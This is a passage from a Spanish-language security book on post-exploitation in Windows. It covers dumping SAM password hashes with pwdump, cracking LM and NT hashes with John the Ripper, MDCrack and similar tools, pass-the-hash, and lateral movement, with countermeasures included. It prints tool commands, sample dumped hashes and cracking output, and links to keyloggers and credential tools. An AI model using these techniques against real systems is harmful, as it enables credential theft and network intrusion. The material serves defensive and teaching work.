Administrador:500:a962ae9062945822aad3b435b51404ee:ef830b06fc94947d66
8d47abf388d388:::
Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c
089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:28f30eb0bcce2
3b95c5b1c23c771959f:::
A diferencia de versiones anteriores de la herramienta pwdump2 de Sabin, esta hueva herra-

mienta determinará “automágicamente” el ID del proceso LSASS y realizará la inyección de
DLL. En la versión anterior, se tenía que determinar manualmente el proceso LSASS con pulist.
exe (otra utilería del kit de recursos) y usarlo como un parámetro con pwdump2.
Una versión más reciente, pwdump3, ofrece modificaciones menores sobre pwdump2; la
principal es que se puede ejecutar remotamente contra un sistema comprometido. (Se requieren
privilegios equivalentes a Administrador, como siempre, además de acceso a servicios SMB en
TCP 139 o 445.) Pwdump3e no se ejecutará en forma local; debe ejecutarse contra una máquina
remota. He aquí un ejemplo de salida de pwdump3e contra un servidor de Windows 2003 En-
terprise Edition.
C:\> PwDump3e.exe 10.1.1.5

pwdump3e (rev 1) by Phil Staubs, e-business technology, 23 Feb 2001
Copyright 2001 e-business technology, Inc.
This program is free software based on pwpump2 by Todd Sabin under the GNU
General Public License Version 2 (GNU GPL), you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Software
Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program (also
available at www.ebiz-tech.com/pwdump3) and the GNU GPL for further details.
Administrator:500:A962AE9062945822AAD3B435B51404EE:EF830B06FC94947D6
68D47ABF388D388:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:28F30EB0BCCE23B95C
5B1C2
3C771959F:::
Completed.
Si el acceso a volcado de credenciales de la memoria está restringido, también se puede tra-

tar de obtener los archivos SAM y SYSTEM de un directorio de copia de seguridad (haciendo
una nueva copia con el viejo rdisk /s –). Es necesario obtener ambos archivos, porque el ar-
chivo SYSTEM contiene el SysKey con el cual descifrar los hashes del archivo SAM. Una herra-
mienta de este tipo que permite hacer esto es pwhist.exe, que también es capaz de volcar historia
de contraseñas.
Pwdump2 no funciona tal como está en Windows Vista, porque el proceso LSASS se ha mo-
vido al servicio Estación/escritorio de Windows, que causa que la API CreateRemoteThread fa-
lle. Como el código fuente de pwdump2 está disponible para el público, existen versiones
07_SCAMBRAY_07.indd 209 7/28/08 9:04:36 PM

modificadas que pueden extraer los hashes de contraseñas en Windows Vista. (Consulte “Refe-
rencias y lecturas adicionales” para conocer vínculos con otras versiones de esta herramienta).
Contramedidas ante el volcado de contraseñas de SAM y AD

Una vez más, puede hacerse poco para prevenir el volcado de hashes de contraseña una vez que
un atacante ha obtenido privilegios administrativos en un sistema Windows. Su mejor apuesta,
para empezar, es nunca permitir que un atacante obtenga privilegios administrativos.
DESCUBRIMIENTO DE CONTRASEÑAS
Después de que se han obtenido las contraseñas cifradas, o hashes, del sistema remoto, por lo
general el atacante las moverá a un archivo y ejecutará el descubridor de contraseñas con-
tra ellas para conocer la contraseña real.
Muchos tienen la impresión equivocada de que el descubrimiento de contraseñas es el des-
cifrado de los hashes de éstas. Sin embargo, no es así, porque existen mecanismos conocidos
para descifrar hashes de contraseñas empleando los algoritmos de Windows. El descubrimiento
es en realidad el proceso de aplicar hash a palabras y frases conocidas utilizando el mismo al-
goritmo y luego comparar el hash resultante con los hashes volcados empleando pwdumpX o
alguna otra herramienta. Si coinciden, el atacante sabe cuál debe ser el valor de texto simple de
la contraseña. Por tanto, el descubrimiento debe verse como un tipo de adivinación sofisticada
de contraseñas fuera de línea.
Descubrimiento de hashes de LM
El proceso de descubrimiento puede optimizarse en gran medida debido a una de las fallas cla-
ve de diseño de Windows, el hash del LAN Manager (LM). Como se analizó en el capítulo 2,
ciertas versiones de Windows almacenan como opción predeterminada dos versiones de hash
de la contraseña de cuenta del usuario.
• El hash del LAN Manager (LM)

• El hash de NT
(Veremos a profundidad el descubrimiento de hashes NT en páginas posteriores de este capí-

tulo).
El hash de LM tiene una propiedad indeseable (desde el punto de vista de administrador):
el espacio de clave efectivo es muy pequeño. Debido a que la longitud máxima efectiva de una
contraseña es de siete caracteres (como se analizó en el capítulo 5) y a que las contraseñas no son
sensibles a mayúsculas y minúsculas, el número máximo de hashes de LM únicos que puede
generarse a partir de las contraseñas es de aproximadamente 7.5 × 1012. Debido a que casi nadie
utiliza el rango completo de caracteres ASCII que es posible imprimir cuando eligen sus contra-
señas, la complejidad real resulta mucho menor. Dependiendo del conjunto de caracteres utili-
zado, el número de hashes de LM únicos se encuentra al utilizar las siguientes ecuaciones:
• A a Z 26 caracteres en 7 posiciones = 267 ~ 8 × 109 hashes

• A a Z + 0 a 9 36 caracteres en 7 posiciones = 367 ~ 8 × 1010 hashes
• Todos los imprimibles 69 caracteres en 7 posiciones = 697 ~ 7.5 × 1012 hashes
07_SCAMBRAY_07.indd 210 7/28/08 9:04:37 PM

Dos métodos factibles pueden usarse para atacar hashes de LM. El primero es muy simple y
consiste en generar todos los pares posibles de contraseña/hash y compararlos con la selección
de hashes de destino (esto es un ataque de fuerza bruta). Pueden usarse muchos programas dis-
ponibles en Internet para realizar esta tarea, aunque el rendimiento varía mucho. En la siguiente
lista se presentan resultados de pruebas comparativas de rendimiento en una laptop Intel G40
(CPU de 3 GHz, 1 GB de RAM) con Windows 2000 empleando lmbf v0.1 (disponible en www.
toolcrypt.org), jtr v1.7.0.1, Cain & Abel v4.9 y LCP v5.0.4 parecido a L0phtcrack:
• lmbf 5.7 × 106 t/s para un solo hash

• jtr 5.0 × 106 t/s para un solo hash
• Cain & Abel 4.1 × 106 t/s para un solo hash
• LCP 1.5 × 106 t/s para un solo hash
El rendimiento cae ligeramente para varios hashes, pero como no tienen sal (un número aleato-
rio agregado a la clave de cifrado o a la contraseña para protegerla del descubrimiento), pueden
descubrirse de manera efectiva en paralelo.
Un pequeño cálculo muestra que tomaría aproximadamente 15 días (697 ÷ (5.7 × 106 × 3600
× 24)) para descubrir todo posible hash de LM utilizando lmbf en una laptop estándar. Debido a
que lmbf no permite el uso de conjuntos de caracteres distintos (funciona sólo en el conjunto de
caracteres máximo) usaríamos jtr para los otros casos: para descubrir todos los hashes basados
en contraseñas que sólo utilizan de la A a la Z tomaría 27 minutos y todos los hashes basados en
la A a la Z + 0 a 9 tomaría 4 horas y 20 minutos.
La otra manera factible de descubrir hashes de LM consiste en usar tablas de arco iris. El mé-
todo de las tablas de arco iris se usa para calcular todos los hashes que resultan de contraseñas
con ciertas restricciones (hasta siete caracteres de largo, utilizando de la A a la Z, etc.). Estos has-
hes se almacenan entonces para que sólo una fracción de los hashes reales tengan que estar pre-
sentes en disco. Este método es factible porque el espacio de claves no se ha extendido mediante
el uso de sal criptográfica. Suponiendo que tiene el tiempo disponible para crear las tablas de
arco iris inicialmente, y que tiene el espacio en disco para almacenarlas, puede descubrir cual-
quier contraseña de LM en un minuto o dos.
A continuación se presentan algunas tablas de arco iris populares generadas por Rainbow-
Crack (consulte “Referencias y lecturas adicionales”).
• A a Z Tamaño de 610 MB, tasa de éxito de 99.90%

• A a Z + 0 a 9 Tamaño de 5 GB, tasa de éxito de 99.04%
• Todas las imprimibles Tamaño de 64 GB, tasa de éxito de 99.90%
Estas cifras deben dejar en claro que un atacante que ha obtenido sus hashes de LM también po-
drá deducir las contraseñas correspondientes, sin importar su complejidad, siempre y cuando
contengas caracteres ASCII imprimibles.
A continuación, cubrimos algunas herramientas que automatizan en gran medida el ciclo de
comparación de hashes, sobre todo contra el hash de LM, al punto de que ninguna contraseña
mal elegida podrá resistir demasiado.
07_SCAMBRAY_07.indd 211 7/28/08 9:04:38 PM

Descubrimiento de contraseñas con herramientas

de línea de comandos como John the Ripper y lmbf
Popularidad: 9
Simplicidad: 8
Impacto: 7
Una de nuestras herramientas favoritas para descubrimiento de contraseñas en NT/2000/

2003 es John the Ripper, de Solar Designer. (En la sección “Referencias y lecturas adicionales”
encontrará un vínculo). También nos gusta lmbf.
Para ejecutar John contra un conjunto de hashes, simplemente pase el nombre de archivo
como primer parámetro:
C:\>john hashes.txt
Loaded 13 passwords with no different salts (NT LM DES [24/32 4K])
PASSWORD (administrador:1)
HAPPY (backup:1)
Como opción predeterminada, John realiza ataques de diccionario y usa alguna inteligencia
sobre la manera en que realiza los intentos de descubrimiento, incluida la anexión, al principio
o al final, de metacaracteres, el uso del nombre de usuario como contraseña y la prueba de va-
riaciones del nombre de usuario, para mencionar algunas. John también puede usarse para
cuentas de fuerza bruta mediante el empleo del modo –i. El modo de incremento usa el conjun-
to completo de caracteres para probar todas las combinaciones de caracteres posibles para la
contraseña. Ésta es, por mucho, la parte más poderosa de John y después es el que más tarda en
ejecutarse. Están disponibles tres modos principales de uso de John: listas de palabras, un solo
descubrimiento e incremental.
Modo de lista de palabras El más simple de los modos para descubrimiento, el modo de lista de
palabras toma el archivo de diccionario dado en la línea de comandos, o usa el archivo de con-
traseñas predeterminado incluido con John, si no se proporciona una opción, y prueba cada
contraseña en orden secuencial.
Modo de un solo descubrimiento En este modo se probará la información de inicio de sesión para
adivinar la contraseña. Por ejemplo, el nombre de usuario en una cuenta se probará como con-
traseña en todas las cuentas. En el siguiente ejemplo, el nombre de usuario STU se probó con
éxito como contraseña de JACK:
C:\>john -single hashes.txt
Loaded 20 passwords with no different salts (NT LM DES [24/32 4K])
STU (jack:1)
Modo incremental Éste es, por supuesto, el más poderoso de los modos de descubrimiento de
John, porque prueba todas las combinaciones de caracteres para la longitud de contraseña dada.
Las contraseñas que utilizan caracteres complicados pero son cortas pueden descubrirse fácil-
mente con este modo. Por supuesto, debido a su naturaleza muy completa en que prueba cada
carácter en el espacio de caracteres, el tiempo para el descubrimiento en este modo será largo.
07_SCAMBRAY_07.indd 212 7/28/08 9:04:39 PM

He aquí un ejemplo, porque se descubre que STU tiene una contraseña APQL, que casi segu-
ramente nunca se hubiera encontrado con un ataque de diccionario estándar. El modo incremen-
tal de alpha se usó para limitar la búsqueda a caracteres alfa, pero sin ningún modo, John usa
la opción predeterminada, que incorpora todos los modos incrementales incluidas todas las va-
riaciones de conjuntos de caracteres:
C:\>john -incremental:alpha hashes.txt

Loaded 1 password (NT LM DES [24/32 4K])
APQL (stu:1)
John es una poderosa utilería de descubrimiento de contraseñas y puede usarse por ejemplo
con Windows NT/2000/2003/2008 y con UNIX. La única limitación con el puerto de la versión
para Windows de John, si puede llamarse así, es que no tiene soporte nativo para el hash de
NTLM. Esto significa que todas las contraseñas recuperadas con John serán insensibles a ma-
yúsculas y minúsculas. Como puede ver con el ejemplo anterior, STU tiene una contraseña de
APQL, pero no sabemos si está realmente sólo en mayúsculas o no, de modo que necesitará
probar todas las variaciones de caracteres en mayúsculas y minúsculas para determinar la con-
traseña real.
Lmbf también puede usarse para descubrir hashes de LM. He aquí un ejemplo:
f:\tools>lmbf hashes.txt out.txt

lmbf v0.1, (C)2005 orm@toolcrypt.org
------------------------------------
parsing hashes.txt... 1 lines read
analyzing input... done
trying lmbf.dat... 154 entries. 1 hashes found
starting bf mode...
q=quit, any other key to see status
current password: ?07T cracked:1/2 (unique)
18753660 passwords tried. elapsed time 00:00:03. t/s:5674756
all hashes cracked. press any key to exit
F:\tools>type out.txt
public:[^AD1
El soporte para el hash de OWF de Windows NT se ha agregado a las versiones de UNIX y Win32
NOTA
de John. Encontrará un vínculo al complemento en “Referencias y lecturas adicionales”.
He aquí un ejemplo del descubrimiento de un hash de NT con John (a continuación encon-

trará más información acerca del descubrimiento de hash de NT):
F:\tools\john-1.6-ntlm>type hashes.txt
public:1005:8c07e18e18192979aad3b435b51404ee:8a88495ddc9b55322158153195c10638:::
F:\tools\john-1.6-ntlm>john -format=NTLM -incremental hashes.txt
Loaded 1 password (NTLM MD4 [TridgeMD4])
findme (public)
guesses: 1 time: 0:00:01:24 c/s: 758939 trying: findme
07_SCAMBRAY_07.indd 213 7/28/08 9:04:39 PM

Descubrimiento de hashes de NT
El hash de NT se crea a partir de contraseñas que son sensibles a mayúsculas y minúsculas. No
existe restricción de longitud, aunque el límite práctico es de 128 caracteres en Windows
NT/2000/XP/Vista. Esto significa que el espacio de todos los posibles hashes de NT es enorme.
Nadie podría incluso empezar a explorarlo por completo. Sin embargo, una contraseña mal
elegida seguirá siendo débil, sin importar cuál mecanismo de hash se use para protegerla. Si ha-
cemos la suposición de que la contraseña es cuando mucho de siete caracteres, llegamos a las
siguientes posibilidades de hashes.
• A a Z 26 caracteres en 7 posiciones da 267 ~ 8 × 109 hashes

• A a Z + 0 a 9 36 caracteres en 7 posiciones da 367 ~ 8 × 1010 hashes
• A a Z + a a z 52 caracteres en 7 posiciones da 527 ~ 1 × 1012 hashes
• A a Z + a a z + 0 a 9 62 caracteres en 7 posiciones da 627 ~ 3.5 × 1012 hashes
• Todos los imprimibles 95 caracteres en 7 posiciones da 957 ~ 7.0 × 1013 hashes
Cada carácter adicional a los 7 hará la contraseña 26, 36, 52, 62 o 95 veces más difíciles de descu-
brir, dependiendo del conjunto de caracteres utilizado. Esto significa que todas las contraseñas
de longitud 8 (utilizando todos los imprimibles), en lugar de 7 caracteres, será casi 100 veces más
difícil de descubrir.
Debido a que los hashes de NT no usan sal criptográfica, los métodos para atacarlos son los
mismos que los usados por los hashes de LM. Están disponibles muchas aplicaciones de fuerza
bruta, que difieren ampliamente en velocidad y uso. A continuación se delinea una selección.
Las marcas comparativas se obtuvieron con el mismo equipo configurado para los hashes de LM
y utilizando ntbf v0.6.6, jtr v1.6 con parche de NTLM, Cain & Abel v4.9, LCP v5.0.4 y MDCrack
v1.8(3):
• MDCrack 6.9 × 106 t/s para un solo hash

• ntbf 6.2 × 106 t/s para un solo hash
• Cain & Abel 6.2 × 106 t/s para un solo hash
• jtr 5.0 × 106 t/s para un solo hash
• LCP 3.5 103 t/s para 10 hashes simultáneos del SAM local; no ejecuta pruebas de
NTLM en un archivo pwdump que contiene un solo hash
El rendimiento cae ligeramente para varios hashes, pero como no se usa sal, pueden realmente
descubrirse en paralelo.
Algunos cálculos sencillos muestran que nos tomaría un máximo de 117 días descubrir el
hash de NT más complejo generado a partir de una contraseña de siete caracteres de largo que
utiliza caracteres imprimibles y usando MDCrack en una sola laptop. Tomaría un máximo de 5.9
días para un hash generado a partir de una contraseña de siete caracteres empleando A a Z +
a a z + 0 a 9.
07_SCAMBRAY_07.indd 214 7/28/08 9:04:40 PM

Descubrimiento de contraseñas de NT con MDCrack, ntbf

Popularidad: 6
Simplicidad: 5
Impacto: 7
Si es obligatorio que descubra el hash de una contraseña de NTLM, una sólida opción es
MDCrack de Gregory Duchemin. El producto es muy simple en su puerto de Windows, pero
funciona bien. Sólo tenga cuidado de que no use todos los ciclos de CPU de su sistema, porque
tiende a establecer en Elevada la prioridad de sus procesos. Como resultado, debe cambiar la
prioridad a Normal una vez que inicie.
El uso de MDCrack es un poco diferente del de LCP (que presentaremos más adelante), por-
que toma el hash de la línea de comandos:
MDCrack-sse.exe --charset=%L --algorithm=NTLM1

363dd639ad34b6c5153c0f51165ab830
System / Starting MDCrack v1.8(2)

System / Running as MDCrack-sse.exe --charset=%L --algorithm=NTLM1
363dd639ad34b6c5153c0f51165ab830
System / Filtering custom charset... done

System / Detected processor(s): 1 x INTEL Pentium IV | MMX | SSE
System / Charset is: abcdefghijklmnopqrstuvwxyz
System / Target hash: 363dd639ad34b6c5153c0f51165ab830
System / >\> Entering NTLM1 Core 1: candidate/salt max size: 9
Info / Press ESC for available runtime shortcuts (Ctrl-c to quit)
Info / Thread #0: Candidate size: 1 ( + salt: 0 )
----------------------------------------------------------/ Thread #0
(Success)\----
System / Thread #0: Collision found: crackme
Info / Thread #0: Candidate/Hash pairs tested: 1704117380 ( 1.70e+009 )
in 2min 49s 473ms
Info / Thread #0: Allocated key space: 4.54e+022 candidates, 0.00% done
Info / Thread #0: Average speed: ~ 10055351 ( 1.01e+007 ) h/s
Como puede ver, la utilería MDCrack descubrió el hash de NTLM, mostrando la contraseña
crackme.
07_SCAMBRAY_07.indd 215 7/28/08 9:04:41 PM

En este ejemplo se usa ntbf (consulte “Referencias y lecturas adicionales”) de la línea de co-
mandos:
F:\tools>ntbf hashes.txt pwds.txt 2 7

ntbf v0.6.6, (C)2004 orm@toolcrypt.org
--------------------------------------
input file: 1 lines read
checking against ntbf.dat... 27588 entries. 0 hashes found

trying empty password... not found
trying password = username... 0 hashes found
starting bf mode: complexity 2, max password length 7...
q=quit, h=help, s=stats
current password:lmsnnca cracked:0/1 (unique)
351216826 passwords tried. elapsed time 00:00:56. t/s:6226022
all passwords are cracked. press any key to exit
F:\tools>type pwds.txt
public:crackme
Descubrimiento de contraseñas con programas

de GUI como LC4, LC5, LCP y Cain & Abel
Popularidad: 9
Simplicidad: 8
Impacto: 7
Si quiere la facilidad de señalar y hacer clic para sus actividades de descubrimiento de con-
traseñas, a costa del rendimiento y, bueno, el precio, revise LCP de lcpsoft. L0phtcrack ha sido
desde hace mucho tiempo el descubridor de contraseñas para NT más reconocido. Y aunque en
la cuarta edición no se agregaron muchas nuevas características sobre la versión anterior (carac-
terísticas de auditoría y recuperación), probablemente sigue siendo una opción popular para
quienes aún la tienen, debido a la GUI fácil de usar y a la característica de captura de SMB que
puede cosechar respuestas de LM de la red (ahora es funcional bajo Windows 2000/2003). La
quinta versión también trajo el uso de tablas de arco iris.
Debido a que Symantec decidió terminar la vida de L0phtcrack después de su quinta encar-
nación, ahora los usuarios están obligados a buscar opciones, como LCP y Cain & Abel. LCP es
fácil de usar y soporta aún más opciones que LC5. Consulte http://www.lcpsoft.com/english/
comparison.html.
Es posible configurar tres parámetros para una sesión de descubrimiento de contraseñas de
LCP: Dictionary Crack, Dictionary/Brute Hybrid Crack y Brute Force Crack.
En las figuras 7-4, 7-5 y 7-6 se muestran varios programas que pueden utilizarse para descu-
brir hashes.
07_SCAMBRAY_07.indd 216 7/28/08 9:04:41 PM

Figura 7-4 LCP descubriendo hashes de LM
Figura 7-5 Cain descubriendo hashes de LM
07_SCAMBRAY_07.indd 217 7/28/08 9:04:42 PM

Figura 7-6 Cain descubriendo hashes de NT
Contramedida ante el descubrimiento de contraseñas

Por desgracia, si un atacante ha llegado hasta aquí, le será difícil detectar, y mucho menos pre-
venir, el descubrimiento de contraseñas. La mejor contramedida consiste en evitar, en primer
lugar, que un atacante obtenga privilegios administrativos en su sistema. La siguiente contrame-
dida es imponer contraseñas o frases de contraseña sólidas que hagan poco realista para un ata-
cante esperar a que se descubran.
Para imponer contraseñas más sólidas, haga lo siguiente:
1. Inicie la aplicación Configuraciones de seguridad local.
2. Seleccione la hoja Directivas de cuentas | Directiva de contraseñas.
3. Establezca las siguientes opciones mínimas:
• Forzar el historial de contraseñas: 5 contraseñas recordadas
• Vigencia máxima de la contraseña: 30 días
• Longitud mínima de la contraseña: 8 caracteres
• Las contraseñas deben cumplir los requerimientos de complejidad: Habilitada
Recomendamos una longitud mínima de contraseña de ocho caracteres a la luz de la
realidad del descubrimiento de contraseñas. El octavo carácter no mejora la seguridad del
todo, de cara al ataque de descubrimiento de LM, porque se adivina de inmediato.
07_SCAMBRAY_07.indd 218 7/28/08 9:04:43 PM

Sin embargo, un ataque remoto de adivinación de contraseñas por lo general será más
difícil contra una contraseña de ocho caracteres que contra una de siete, por un factor de
128, suponiendo que se está usando la mitad del conjunto de caracteres ASCII de 8 bits.
Puede considerar el uso de la longitud más larga de contraseñas en su directiva, si hay el
riesgo real de una adivinación de contraseñas en su entorno. (Consulte el capítulo 5 para
conocer un análisis de la adivinación remota de contraseñas).
Además, recuerde que puede deshabilitar el almacenamiento del hash de LM al crear una
clave llamada HKLM\SYSTEM\CurrentControlSet\Control\Lsa\NoLmHash.
NOTA Esta opción tiene soporte en Windows XP y Windows Server 2003 bajo Directiva de seguridad/
Opciones de seguridad/Seguridad de red: no almacenar valor de hash de LAN Manager en el
próximo cambio de contraseña.
4. Por último, reinicie su sistema. Por supuesto, esta clave de Registro no tiene soporte
y puede hacer que ciertas aplicaciones dejen de funcionar, de modo que debe
considerarse con todo cuidado su uso y emplearse sólo en sistemas de prueba y nunca
en equipos utilizados en producción.
Al deshabilitar el almacenamiento del hash de LM no se borra ningún hash de LM existente. Sin

NOTA
embargo, cuando un usuario cambia su contraseña, el hash de LM no se actualizará en el SAM o en
Active Directory. Por tanto, el antiguo hash de LM aún podría enviarse junto con el hash de NTLM
durante la autentificación de desafío-respuesta de red (consulte el capítulo 2) y esto podría causar
que la autentificación falle u otros problemas. Es posible eliminar hashes de LM del SAM utilizando
la herramienta trashlm de toolcrypt.org. Otra herramienta, trashpwhist, también está disponible en
toolcrypt.org y puede utilizarse para eliminar entradas de historial de contraseñas del SAM.
Para deshabilitar el uso del hash de LM en autentificación de red, use la clave del Registro
LMCompatibility o la configuración de Directiva de seguridad de nivel de autentificación
de LM, como se analizó en el capítulo 5.
Paso de hash/uso de credenciales

Popularidad: 5
Simplicidad: 4
Impacto: 8
Debido a que los hashes derivados del volcado de programas son el equivalente de contra-
señas, ¿por qué no podría pasarse el hash directamente al sistema operativo cliente, el que, a su
vez, lo usaría en una respuesta normal a un desafío de inicio de sesión? Luego, los atacantes po-
drían iniciar sesión en un servidor sin saber una contraseña viable y con sólo un nombre de
usuario y el valor de hash de la contraseña correspondiente. Esto ahorraría una gran cantidad
del tiempo dedicado en realidad a descubrir los hashes de contraseñas obtenidos mediante cap-
tura de SMB. En 1997, Paul Ashton publicó la idea de modificar un cliente de intercambio de
archivos SMB de Samba en UNIX para realizar este truco. Su publicación original está disponi-
ble en los archivos de la lista de correos Bugtraq de NT y en SecurityFocus.com. Versiones re-
cientes del smbclient de Samba para UNIX incluyen la capacidad de iniciar sesión en clientes de
NT utilizando sólo el hash de la contraseña.
07_SCAMBRAY_07.indd 219 7/28/08 9:04:44 PM

En 2000, Hernán Ochoa, de CORE-SDI escribió y publicó un artículo analizando los detalles
técnicos del paso del hash que delineaba la manera en que LSASS almacena las sesiones de inicio
de sesión y sus credenciales relacionadas (consulte “Referencias y lecturas adicionales”). En el
artículo de Hernán se detalla la manera de editar estos valores directamente en memoria para
que las credenciales del usuario actual puedan cambiarse y cualquier usuario se personifique
si este hash está disponible. CORE desarrolló un programa de prueba de concepto que realizó
con esta técnica en NT 4, pero su implementación violaba la integridad de LSASS en Windows
2000/2003 y causaba que el sistema se apagara en cosa de segundos.
Herramientas existentes para realizar el paso de hash hacen el trabajo sin errores en todas las
versiones de NT 4, Windows 2000, Windows XP, Windows Vista y Windows 2008, sin violar la
integridad del proceso LSASS. Casi todas estas herramientas se han manejado de manera confi-
dencial y no se han lanzado al público. Al momento de escribir esto, Hernán Ochoa ha lanzado
un kit de herramientas de paso de hash que funciona en versiones más recientes de Windows. El
kit de herramientas está limitado a ciertas versiones del sistema operativo, pero se encuentra
bajo desarrollo activo (consulte “Referencias y lecturas adicionales”).
Los ataques de paso de hash dependen de la funcionalidad integrada para Single-SignOn
que puede encontrarse en protocolos de autentificación como Kerberos y NTLM. Para que el sis-
tema operativo autentifique silenciosamente a un usuario, es necesario que el sistema tenga al-
gún tipo de caché para la credencial asignada al usuario que solicitó un recurso protegido. Al
reemplazar las credenciales del usuario en esta caché con un hash de contraseña elegido o un
boleto, la autentificación se hará utilizando el nuevo “secreto” en lugar del original.
Además, vale la pena tomar nota de que la funcionalidad Single-SignOn está conectada a su
sesión de inicio de sesión. Los atacantes pueden reciclar las sesiones inactivas, sin que conozcan
la contraseña o el hash. Esto es importante, sobre todo en entornos de Terminal Services, y acen-
túa aún más la importancia de cerrar una sesión después de terminarla.
No existe ninguna contramedida ante este ataque, porque es parte de la funcionalidad inte-
grada de Single-SignOn.
ENJUAGAR Y VOLVER A HACERLO

Probablemente el mayor riesgo de permitir que un atacante acceda a un sistema en particular es
que puede tomar como base ese sistema para ganar acceso a sistemas adicionales. A esta capaci-
dad de tomar el compromiso de un sistema y atacar otros lejos del alcance del atacante se deno-
mina “salto entre islas”. La belleza para el atacante radica en que por lo general puede configu-
rar la compra de periodos extendidos y causar estragos casi anónimamente.
Los siguientes pasos típicos que se usan para comprometer el resto de la red siguen el man-
tra “enjuagar y volver a hacerlo”: copiar el kit de herramientas del atacante (mucho de lo cual se
describió en este capítulo) y simplemente reiniciar la metodología que hemos descrito en es-
te libro, en los capítulos 3 y 4, con recolección de información, rastreo, enumeración, etc. Sólo
esta vez, estos procedimientos se ejecutarán desde el sistema comprometido, que ahora propor-
ciona la plataforma de lanzamiento para un ataque más amplio en el entorno comprometido.
RESUMEN
La expansión de la influencia una vez que se ha obtenido acceso en el nivel administrativo o de
SISTEMA en un entorno Windows puede ser un ejercicio trivial, aunque con las nuevas versiones
07_SCAMBRAY_07.indd 220 7/28/08 9:04:45 PM

del sistema operativo, este ejercicio se vuelve más difícil. Sin embargo, puede hacer mucho para
mitigar el riesgo y administrar la situación aún después de que ha ocurrido un compromiso.
Siempre debe habilitarse la auditoría y monitorearse en busca de cambios. Las contraseñas
deben ser difíciles de adivinar y siempre deben incluir un carácter alt-255, porque muchos de
estos hackers no pueden leer el carácter específico no imprimible que usa. Los atacantes pueden
obtener fácilmente control de línea de comandos de un sistema o también un control de GUI.
Existen varias herramientas para lograr ambos tipos de control.
Una práctica común entre atacantes es revisar toda su unidad de disco en busca de archivos
con información confidencial en ellos. Palabras como contraseña y nómina suelen usarse en el fil-
tro. También puede usarse el registro de tecleos, para capturar todos los tecleos de un equipo,
incluso el nombre de usuario y la contraseña.
El salto entre islas es un fenómeno particularmente peligroso, en que el atacante establece un
punto de avanzada en el sistema, revisando las partes ocultas si lo desea, encontrando sistemas
adicionales para posible compromiso.
Por último, el redireccionamiento de puertos permite a un atacante omitir fácilmente las re-
glas de la firewall una vez que se ha hackeado el host inicial tras la firewall.

Herramientas de freeware
Pipelist de Sysinternals http://download.sysinternals.com/Files/PipeList.zip
Netcat para NT www.vulnwatch.org/netcat/
NirSoft, herramientas de extracción www.nirsoft.net
de contraseñas
PipeUpAdmin por Maceo http://content.443.ch/pub/security/blackhat/
WinNT%20and%202K/pipeup/PipeUpAdmin.exe.zip
VNC (Virtual Network Com- www.realvnc.com
puting), la herramienta gráfica www.tightvnc.com
ligera de control remoto
Herramientas gratuitas de ejemplo www.microsoft.com/Windows/reskits
del kit de recursos de Windows
pwdump2 por Todd Sabin www.bindview.com/Services/RAZOR/Utilities/
Windows/pwdump2_readme.cfm
Varias encarnaciones de pwdump www.thesprawl.org/infocalypse/index.
php?title=Pwdump
John the Ripper, una estupenda www.openwall.com/john
herramienta de descubrimiento de
contraseñas
Soporte de algoritmo de NTLM www.openwall.com/john/contrib/john-ntlm-patch-
para John (esto también está dispo- v02.tgz
nible en sitio principal de John),
sólo para la versión UNIX de John
07_SCAMBRAY_07.indd 221 7/28/08 9:04:45 PM

Soporte a volcado de historial para www.cqure.net/wp/?page_id=9
pwdump2 y pwdump3
Herramientas de creación de www.blackops.cn
secuencias de comandos de www.toolcrypt.org/index.html?hew
depuración y otras herramientas
mencionadas en el texto
MDCrack http://members.lycos.fr/mdcrack
Diccionarios y listas de palabras del ftp://coast.cs.purdue.edu/pub/dict
archivo COAST de la Universidad
de Purdue
lsadump2 www.bindview.com/Services/RAZOR/Utilities/
Windows/lsadump2_readme.cfm
FakeGINA de Arne Vidstrom http://ntsecurity.nu/toolbox/fakegina/
Cain & Abel www.oxid.it
Snort, un olfateador de paquete www.snort.org
gratuito y una herramienta de
detección de intrusiones
Dsniff, versión para UNIX http://monkey.org/~dugsong/dsniff/
Wireshark www.wireshark.org/
SSHD gratuito para Windows http://sshwindows.sourceforge.net/
NT/2000
puTTY, un cliente SH gratuito www.chiark.greenend.org.uk/~sgtatham/putty/
rinetd www.boutell.com/rinetd/index.html
fpipe de Foundstone, Inc. www.foundstone.com/us/resources-free-tools.asp
Kits de recursos de Windows, www.microsoft.com/windowsserver2003/techinfo/
versión en línea de los libros reskit/resourcekit.mspx
impresos, herramientas y referen-
cias
WinRoute Professional por Kerio www.kerio.com
Invisible Keylogger Stealth (IKS) www.amecisco.com/iksnt.htm
para NT
Servidor VShell y cliente Secure- www.vandyke.com/products
CRT de VanDyke Technologies
Secure Shell para Windows, de SSH www.ssh.com/products/ssh
Communications Security, servidor
y cliente
Sniffer Propietario www.networkgeneral.com
07_SCAMBRAY_07.indd 222 7/28/08 9:04:46 PM

“Modifying Windows NT Logon www.coresecurity.com/index.php5?module=Content
Credential”, por Hernán Ochoa, Mod&action=item&id=1030
analiza el paso de hash y el kit de OSS.coresecurity.com/projects/pshtoolkit.htm
herramientas correspondiente
Modificación de lsadump2 para tra- http://archives.neohapsis.com/archives/fulldisclosu-
bajar en máquinas DEP re/2005-09/0461.html
Información acerca de descubri- http://en.wikipedia.org/wiki/RainbowCrack
miento con arco iris
Información relacionada con con- www.securiteam.com/tools/5JP0I2KFPA.html
traseñas de dominio en caché:
“CacheDump – Recovering
Windows Password Cache Entries”
Artículos de la base de datos de http://support.microsoft.com/kb/172931/
conocimiento relacionados con http://support.microsoft.com/kb/911605/
CachedLogonsCount: “Información
de dominio almacenado en caché
de inicio de sesión” y “El valor
predeterminado de la entrada de
Registro cachedlogonscount ha
cambiado con respecto a 10 en 25
en Windows Server 2008”
“Frequently Asked Questions www.microsoft.com/technet/community/columns/
About Passwords” secmgmt/sm1005.mspx
“Security Watch” relacionado con www.microsoft.com/technet/technetmag/isues
la configuración LMCompatibili- /2006/08/SecurityWatch/
tyLevel
“Using Credential Management in http://msdn2.microsoft.com/en-us/library/aa302353.
Windows XP and Windows Server aspx
2003”, por Duncan Mackenzie, red
de desarrolladores de Microsoft,
enero de 2003
